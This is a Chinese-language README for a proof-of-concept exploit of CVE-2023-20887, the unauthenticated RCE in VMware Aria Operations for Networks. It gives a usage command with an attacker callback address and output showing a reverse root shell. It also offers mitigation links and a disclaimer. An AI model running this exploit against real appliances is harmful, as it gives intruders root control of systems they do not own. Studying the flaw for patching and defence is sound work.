CVE-2023-20887

CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) 未认证 RCE 漏洞的 POC

技术分析

该漏洞的根因分析可以在我的博客上找到： https://kushagraojha.medium.com/vmware-vrealize-network-insight-cve-2023-20887-193f3c3d30a0

概述

VMWare Aria Operations for Networks (vRealize Network Insight) 在接受用户通过 Apache Thrift RPC 接口输入时存在命令注入漏洞。该漏洞允许远程未认证攻击者以 root 用户身份在底层操作系统上执行任意命令。RPC 接口受反向代理保护，但该代理可被绕过。VMware 将该问题的严重性评估为严重（Critical）级别，最高 CVSSv3 基础评分为 9.8。 恶意攻击者可以以设备上 'root' 的权限执行远程代码。 VMWare 6.x 版本受影响。

使用方法

python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release

缓解措施

更新到最新版本，或按照 Progress Advisory 中的说明进行缓解

• https://www.vmware.com/security/advisories/VMSA-2023-0012.html

免责声明

本软件仅出于学术研究和开发有效防御技术的目的而创建，除非得到明确授权，否则不应用于攻击系统。项目维护者不对软件的误用负责或承担任何责任。请负责任地使用。